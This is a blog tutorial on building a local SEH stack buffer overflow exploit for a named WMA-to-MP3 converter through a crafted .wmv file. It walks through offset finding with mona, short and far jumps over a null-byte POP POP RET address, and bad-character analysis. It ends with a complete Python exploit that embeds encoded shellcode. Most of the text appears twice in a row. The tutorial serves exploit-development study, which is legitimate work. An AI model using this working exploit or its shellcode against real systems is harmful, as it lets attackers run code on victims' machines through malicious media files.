hey guys , today we'll talk about exploit development field ....
most of us now about the exploit development and i don't have to explain so much as i have to explain my topic .
So today we'll talk about local exploit development , we have a program infected in buffer overflow stack-based and SEH also , but it's different from the other snippets i mean you could find lots of Poc's written in this way but rarely maybe :) , most of the exploits are written in this common way :
file = "test.*"
junk = "\x41"*2000
address = "\x\x\x\x"
nops = "\x90"*10
shell = "................"
or
file = "test.*"
junk = "\x41"*2000
jmp = "\xeb\x06\x90\x90"
address = "\x02\x6c\x00\x7b"
nops = "\x90"*10
shell = ".............."
many more ways to write your exploit !! , but today we will talk about short and far jump were you have an address contain a null bytes for example ("\x00\x40\x50\x3e") , after reversing the address in Little-Indian-Character , it will act in abnormal behavior rather how it should work inside the stack , in some programs others might be act in normal way .
Like if you put your shellcode after it and you decided to test your exploit all the rests that became after the address will be zero out and it will miss in the stack , despite of it already exist inside the memory but it won't be executed , this image will explain the proof of concept :
As we can see after clicking Shift-F7 step into it will set " Access violation on 01F50000 address ", and if you looked deeply inside the stack were the NextSeh and SE handler pointed it gives us a randomization addresses .
However , this is just a simple introduction , now lets turn to the dark siiiiiide , shall weeeeee buddies ;) !!!! .
Between our hands a Wma to Mp3 converter , the extension that causes the buffer is WMV , here you can download the program from this link down below :
http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
lets quickly write our exploit from scratch :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*5000 < lets try this amount
of = open(file, "w")
of.write(junk)
of.close()
Basically , we need as always pentesters doing to overwrite the EIP register , lets generate the poc and feed it to the debugger , all my posts under this field will be always using immunity debugger , for sure it depends on you mood but i prefer this one for many reasions , so lets try :
So as we can see we overwrited EIP register , also EAX , EBX , ESI , EDI are zero out and we also overwrited structure exception handler :
Now lets create a cycle of metasploit pattern to now what is the specific amount that caused the crash , I'am going to use the well-known script mona.py to generate the pattern you could use another script it depends on you , here is the link for anyone who don't have the script :
http://redmine.corelan.be/projects/mona/repository/raw/mona.py
Type this command inside the immunity command area :
!mona pc 5000
you will find the cyclic inside the immunity direction into pattern.txt file , now we want to put our cyclic instead of A's :
#!/usr/bind/env python -w
file = "test.wmv"
# 5000 cycle of pattern
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9....."
of = open(file, "w")
of.write(junk)
of.close()
Next step , lets feed the file another once then type the following command :
!mona findmsp
here we can define the amount for both of SEH and EIP
Very clear !! .
SEH has been already overwritten in 4116 byte followed by 276 byte of meta patterns , now lets modify our snippet as following :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\x43"*276
of = open(file, "w")
of.write(junk)
of.close()
In this situation EIP register should overwrite the C's then we can declare our fully control of the EIP .
Lets hit Shift-F9 and see what will happen :
Wonderful !! , now we can do whatever we want , it depends on what it based on ( Stack , Dep , Seh , Heap etc ).
As known SEH-based exploits the structure of the snippets are common and its as the following :
junk = "\x41"*4116
junk += "C"*276 <==== Next-Seh
junk += "" <==== Seh
Now remember , we need an address that gives us a POP POP RETN to make us be able to handle the stack and then to put your opcode for the next instructions .
Mona came right away to handle this kind of situations :) , type this command down and see the results :
!mona seh
Here we have lots of pop's instructions , simple lets choose the first one :
0040503e
we need to reverse the address (Little Indian Character order) since the stack reads from the bottom up warding to the top , lets fill out the new statements :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\x43"*276
junk += "\x3e\x50\x40\x00"
of = open(file, "w")
of.write(junk)
of.close()
Most of us now that any address contains a null byte should be removed not always but somehow to go beyond any problems like bad characters for example , some programs are refusing manipulating the address because it will consider it invalid and your exploit will not work in normal way , and this exactly what i faced in this program , i'll show you how to exceed this obstacle .
For the moment we will replace our C's to put them less than 276 , just 4 byte enough to overwrite EIP:
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\x42"*4
junk += "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
junk += "\x43" * 276
of = open(file, "w")
of.write(junk)
of.close()
Lets put a break point (F2) at the address and run the program , observe the images down below :
Hit F7 three times , to see what next :
it bring us back our 4 byte B's , here you can put your opcode to make a small jump over the SEH address
in our situation its' just 8 bytes in order to take us directly to the rest of the buffer where as usual we will put our magic :) .
Fantastic !!! , as shown \xEB\x08 is our opcode for the short jump where it takes us down ward 8 bytes to our C's , now our skeleton should be as the following :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\xEB\x08\x90\x90"
junk += "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
junk += "\x43" * 276
of = open(file, "w")
of.write(junk)
of.close()
Generally , we can say this is the end of the game just go ahead generate your favor shellcode and boooooom !!! , but no job not yet finished , lets feed the file again but don't forget to put a break point then run and press f7 to step-up the next instruction :
Firstly , the shellcode for sure will be more than 300 bytes and our buffer is not enough for this amount , many will say why we shouldn't use egghunter for the mission !? .
I'll tell you , yes you can use this 32 byte of magic to do the job but remember our topic is different we are talking about far and short jump so basically next step is to use a new instruction that takes us back to the beginning of the buffer where we can put our nops sleds then shellcode to have a plenty of space for it to be executed after executing our exploit .
Now the opcode for the far jump is \xE9 then you can calculate how much to jump back in our case its 4116 byte , lets use the marvelous tool calc.exe to rescue us from this critical situation :) .
Magnificent :) , lets write our new skeleton but in different way , we need to put a new instruction to do the far jump this time we will make it bigger than 4 bytes :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\xEB\x08\x90\x90"
junk += "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
junk += "\xE9\xEC\xEF\xFF\xFF"
junk += "\x43" *50 # this we don't need it anymore because we are relying on the main buffer i made for nothing just like nops and watching traffic purposes ... !
of = open(file, "w")
of.write(junk)
of.close()
lets do as always , brake point , F7 step-into , and watch , this time i'll decrease the short jump to make it 6 to reach the far jump just watch the images below :
Wonderful job buddies ;) , now we can say game over , just remain to do a bad characters analysis and generation shellcode with a bit of calculation because we need to make a new far jump considering shellcode and nops size .
Lets first do bad characters analysis this time i have a very modest way to make it as easiest as possible .
here is a link contain a bad characters series :
http://www.mediafire.com/download/us8ud0z5p5cafbu/badchars.txt
Simple , choose any 4 bytes of tags inflected with bad char's serise :
#/usr/bin/env python -w
file = "test.wmv"
junk = "\x41" * 4116
bad = "wOOt" + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\....................."
file = open(file, "w")
file.write(junk + bad)
file.close()
then inside debugger press Alt+M for memory map , right click , search and type your tage inside ASCII field observe images :
certainly , \x00 is one of them and we will take it off from the beginning , but lets see the rests of them .
Weird !!! , seems to be \x0a\x0d is bad char's because they are not in imposed location look deeply 09 then 0D then 0A , but FF is already in it place so we are in right way but in case of anything would happen lets delete them from the series :
Very interesting , now bad analysis is accomplished , turn to generate our lovely shellcode , lets as common way generate a windows/exec shell .
Now last thing , lets modify our snippet and see if we took our far jump as it is without any modification where it could take us :
#!/usr/bind/env python -w
file = "test.wmv"
shell = ("\xbd\xea\xb9\xca\xad\xdb\xd8\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x33\x31\x68\x12\x83\xe8\xfc\x03\x82\xb7\x28\x58\xae\x20\x25"
"\xa3\x4e\xb1\x56\x2d\xab\x80\x44\x49\xb8\xb1\x58\x19\xec\x39"
"\x12\x4f\x04\xc9\x56\x58\x2b\x7a\xdc\xbe\x02\x7b\xd0\x7e\xc8"
"\xbf\x72\x03\x12\xec\x54\x3a\xdd\xe1\x95\x7b\x03\x09\xc7\xd4"
"\x48\xb8\xf8\x51\x0c\x01\xf8\xb5\x1b\x39\x82\xb0\xdb\xce\x38"
"\xba\x0b\x7e\x36\xf4\xb3\xf4\x10\x25\xc2\xd9\x42\x19\x8d\x56"
"\xb0\xe9\x0c\xbf\x88\x12\x3f\xff\x47\x2d\xf0\xf2\x96\x69\x36"
"\xed\xec\x81\x45\x90\xf6\x51\x34\x4e\x72\x44\x9e\x05\x24\xac"
"\x1f\xc9\xb3\x27\x13\xa6\xb0\x60\x37\x39\x14\x1b\x43\xb2\x9b"
"\xcc\xc2\x80\xbf\xc8\x8f\x53\xa1\x49\x75\x35\xde\x8a\xd1\xea"
"\x7a\xc0\xf3\xff\xfd\x8b\x99\xfe\x8c\xb1\xe4\x01\x8f\xb9\x46"
"\x6a\xbe\x32\x09\xed\x3f\x91\x6e\x0f\xb1\x28\x7a\x98\x68\xd9"
"\xc7\xc4\x8a\x37\x0b\xf1\x08\xb2\xf3\x06\x10\xb7\xf6\x43\x96"
"\x2b\x8a\xdc\x73\x4c\x39\xdc\x51\x2f\xdc\x4e\x39\x9e\x7b\xf7"
"\xd8\xde")
final = "\x90" * 30 + shell
short = "\xEB\x08\x90\x90"
eip = "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
far = "\xE9\xEC\xEF\xFF\xFF" # even this \xE9\xE8\xEF also work !
sleds = "\x43" * 50
final2 = final + "\x41" * (4116-len(final))
of = open(file, "w")
of.write(final2 + short + eip + far + sleds)
of.close()
Grea job :) , it took us to our 30 byte of nops .
Eventually , lets run the program to see if calc.exe would run or not :
Yessss ;) , our cute calc popped up .
Thats it guys , hope this modest topic gained your interest and i hope also to be some day a reference and added some new information to your libraries , if you have any question , doubts , anything incomprehensible please do not show any hesitation , great to see your comments down below , waiting your presences buddies , see you next time :) .
Take a look at the original exploit written by me at 1337day website :
https://0day.today/exploit/19885
file = "test.*"
junk = "\x41"*2000
address = "\x\x\x\x"
nops = "\x90"*10
shell = "................"
or
file = "test.*"
junk = "\x41"*2000
jmp = "\xeb\x06\x90\x90"
address = "\x02\x6c\x00\x7b"
nops = "\x90"*10
shell = ".............."
many more ways to write your exploit !! , but today we will talk about short and far jump were you have an address contain a null bytes for example ("\x00\x40\x50\x3e") , after reversing the address in Little-Indian-Character , it will act in abnormal behavior rather how it should work inside the stack , in some programs others might be act in normal way .
Like if you put your shellcode after it and you decided to test your exploit all the rests that became after the address will be zero out and it will miss in the stack , despite of it already exist inside the memory but it won't be executed , this image will explain the proof of concept :
As we can see after clicking Shift-F7 step into it will set " Access violation on 01F50000 address ", and if you looked deeply inside the stack were the NextSeh and SE handler pointed it gives us a randomization addresses .
However , this is just a simple introduction , now lets turn to the dark siiiiiide , shall weeeeee buddies ;) !!!! .
Between our hands a Wma to Mp3 converter , the extension that causes the buffer is WMV , here you can download the program from this link down below :
http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
lets quickly write our exploit from scratch :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*5000 < lets try this amount
of = open(file, "w")
of.write(junk)
of.close()
Basically , we need as always pentesters doing to overwrite the EIP register , lets generate the poc and feed it to the debugger , all my posts under this field will be always using immunity debugger , for sure it depends on you mood but i prefer this one for many reasions , so lets try :
So as we can see we overwrited EIP register , also EAX , EBX , ESI , EDI are zero out and we also overwrited structure exception handler :
Now lets create a cycle of metasploit pattern to now what is the specific amount that caused the crash , I'am going to use the well-known script mona.py to generate the pattern you could use another script it depends on you , here is the link for anyone who don't have the script :
http://redmine.corelan.be/projects/mona/repository/raw/mona.py
Type this command inside the immunity command area :
!mona pc 5000
you will find the cyclic inside the immunity direction into pattern.txt file , now we want to put our cyclic instead of A's :
#!/usr/bind/env python -w
file = "test.wmv"
# 5000 cycle of pattern
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9....."
of = open(file, "w")
of.write(junk)
of.close()
Next step , lets feed the file another once then type the following command :
!mona findmsp
here we can define the amount for both of SEH and EIP
Very clear !! .
SEH has been already overwritten in 4116 byte followed by 276 byte of meta patterns , now lets modify our snippet as following :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\x43"*276
of = open(file, "w")
of.write(junk)
of.close()
In this situation EIP register should overwrite the C's then we can declare our fully control of the EIP .
Lets hit Shift-F9 and see what will happen :
Wonderful !! , now we can do whatever we want , it depends on what it based on ( Stack , Dep , Seh , Heap etc ).
As known SEH-based exploits the structure of the snippets are common and its as the following :
junk = "\x41"*4116
junk += "C"*276 <==== Next-Seh
junk += "" <==== Seh
Now remember , we need an address that gives us a POP POP RETN to make us be able to handle the stack and then to put your opcode for the next instructions .
Mona came right away to handle this kind of situations :) , type this command down and see the results :
!mona seh
Here we have lots of pop's instructions , simple lets choose the first one :
0040503e
we need to reverse the address (Little Indian Character order) since the stack reads from the bottom up warding to the top , lets fill out the new statements :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\x43"*276
junk += "\x3e\x50\x40\x00"
of = open(file, "w")
of.write(junk)
of.close()
Most of us now that any address contains a null byte should be removed not always but somehow to go beyond any problems like bad characters for example , some programs are refusing manipulating the address because it will consider it invalid and your exploit will not work in normal way , and this exactly what i faced in this program , i'll show you how to exceed this obstacle .
For the moment we will replace our C's to put them less than 276 , just 4 byte enough to overwrite EIP:
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\x42"*4
junk += "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
junk += "\x43" * 276
of = open(file, "w")
of.write(junk)
of.close()
Lets put a break point (F2) at the address and run the program , observe the images down below :
Hit F7 three times , to see what next :
it bring us back our 4 byte B's , here you can put your opcode to make a small jump over the SEH address
in our situation its' just 8 bytes in order to take us directly to the rest of the buffer where as usual we will put our magic :) .
Fantastic !!! , as shown \xEB\x08 is our opcode for the short jump where it takes us down ward 8 bytes to our C's , now our skeleton should be as the following :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\xEB\x08\x90\x90"
junk += "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
junk += "\x43" * 276
of = open(file, "w")
of.write(junk)
of.close()
Generally , we can say this is the end of the game just go ahead generate your favor shellcode and boooooom !!! , but no job not yet finished , lets feed the file again but don't forget to put a break point then run and press f7 to step-up the next instruction :
Firstly , the shellcode for sure will be more than 300 bytes and our buffer is not enough for this amount , many will say why we shouldn't use egghunter for the mission !? .
I'll tell you , yes you can use this 32 byte of magic to do the job but remember our topic is different we are talking about far and short jump so basically next step is to use a new instruction that takes us back to the beginning of the buffer where we can put our nops sleds then shellcode to have a plenty of space for it to be executed after executing our exploit .
Now the opcode for the far jump is \xE9 then you can calculate how much to jump back in our case its 4116 byte , lets use the marvelous tool calc.exe to rescue us from this critical situation :) .
Magnificent :) , lets write our new skeleton but in different way , we need to put a new instruction to do the far jump this time we will make it bigger than 4 bytes :
#!/usr/bind/env python -w
file = "test.wmv"
junk = "\x41"*4116
junk += "\xEB\x08\x90\x90"
junk += "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
junk += "\xE9\xEC\xEF\xFF\xFF"
junk += "\x43" *50 # this we don't need it anymore because we are relying on the main buffer i made for nothing just like nops and watching traffic purposes ... !
of = open(file, "w")
of.write(junk)
of.close()
lets do as always , brake point , F7 step-into , and watch , this time i'll decrease the short jump to make it 6 to reach the far jump just watch the images below :
Wonderful job buddies ;) , now we can say game over , just remain to do a bad characters analysis and generation shellcode with a bit of calculation because we need to make a new far jump considering shellcode and nops size .
Lets first do bad characters analysis this time i have a very modest way to make it as easiest as possible .
here is a link contain a bad characters series :
http://www.mediafire.com/download/us8ud0z5p5cafbu/badchars.txt
Simple , choose any 4 bytes of tags inflected with bad char's serise :
#/usr/bin/env python -w
file = "test.wmv"
junk = "\x41" * 4116
bad = "wOOt" + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\....................."
file = open(file, "w")
file.write(junk + bad)
file.close()
then inside debugger press Alt+M for memory map , right click , search and type your tage inside ASCII field observe images :
certainly , \x00 is one of them and we will take it off from the beginning , but lets see the rests of them .
Weird !!! , seems to be \x0a\x0d is bad char's because they are not in imposed location look deeply 09 then 0D then 0A , but FF is already in it place so we are in right way but in case of anything would happen lets delete them from the series :
Very interesting , now bad analysis is accomplished , turn to generate our lovely shellcode , lets as common way generate a windows/exec shell .
Now last thing , lets modify our snippet and see if we took our far jump as it is without any modification where it could take us :
#!/usr/bind/env python -w
file = "test.wmv"
shell = ("\xbd\xea\xb9\xca\xad\xdb\xd8\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x33\x31\x68\x12\x83\xe8\xfc\x03\x82\xb7\x28\x58\xae\x20\x25"
"\xa3\x4e\xb1\x56\x2d\xab\x80\x44\x49\xb8\xb1\x58\x19\xec\x39"
"\x12\x4f\x04\xc9\x56\x58\x2b\x7a\xdc\xbe\x02\x7b\xd0\x7e\xc8"
"\xbf\x72\x03\x12\xec\x54\x3a\xdd\xe1\x95\x7b\x03\x09\xc7\xd4"
"\x48\xb8\xf8\x51\x0c\x01\xf8\xb5\x1b\x39\x82\xb0\xdb\xce\x38"
"\xba\x0b\x7e\x36\xf4\xb3\xf4\x10\x25\xc2\xd9\x42\x19\x8d\x56"
"\xb0\xe9\x0c\xbf\x88\x12\x3f\xff\x47\x2d\xf0\xf2\x96\x69\x36"
"\xed\xec\x81\x45\x90\xf6\x51\x34\x4e\x72\x44\x9e\x05\x24\xac"
"\x1f\xc9\xb3\x27\x13\xa6\xb0\x60\x37\x39\x14\x1b\x43\xb2\x9b"
"\xcc\xc2\x80\xbf\xc8\x8f\x53\xa1\x49\x75\x35\xde\x8a\xd1\xea"
"\x7a\xc0\xf3\xff\xfd\x8b\x99\xfe\x8c\xb1\xe4\x01\x8f\xb9\x46"
"\x6a\xbe\x32\x09\xed\x3f\x91\x6e\x0f\xb1\x28\x7a\x98\x68\xd9"
"\xc7\xc4\x8a\x37\x0b\xf1\x08\xb2\xf3\x06\x10\xb7\xf6\x43\x96"
"\x2b\x8a\xdc\x73\x4c\x39\xdc\x51\x2f\xdc\x4e\x39\x9e\x7b\xf7"
"\xd8\xde")
final = "\x90" * 30 + shell
short = "\xEB\x08\x90\x90"
eip = "\x3e\x50\x40\x00" # pop ecx, pop ecx retn , 0x80
far = "\xE9\xEC\xEF\xFF\xFF" # even this \xE9\xE8\xEF also work !
sleds = "\x43" * 50
final2 = final + "\x41" * (4116-len(final))
of = open(file, "w")
of.write(final2 + short + eip + far + sleds)
of.close()
Grea job :) , it took us to our 30 byte of nops .
Eventually , lets run the program to see if calc.exe would run or not :
Yessss ;) , our cute calc popped up .
Thats it guys , hope this modest topic gained your interest and i hope also to be some day a reference and added some new information to your libraries , if you have any question , doubts , anything incomprehensible please do not show any hesitation , great to see your comments down below , waiting your presences buddies , see you next time :) .
Take a look at the original exploit written by me at 1337day website :
https://0day.today/exploit/19885
Short jump and far jump technique : http://t.co/yGkFmh0mKZ
— Reznov (@pentester11) November 7, 2013
Comments
Post a Comment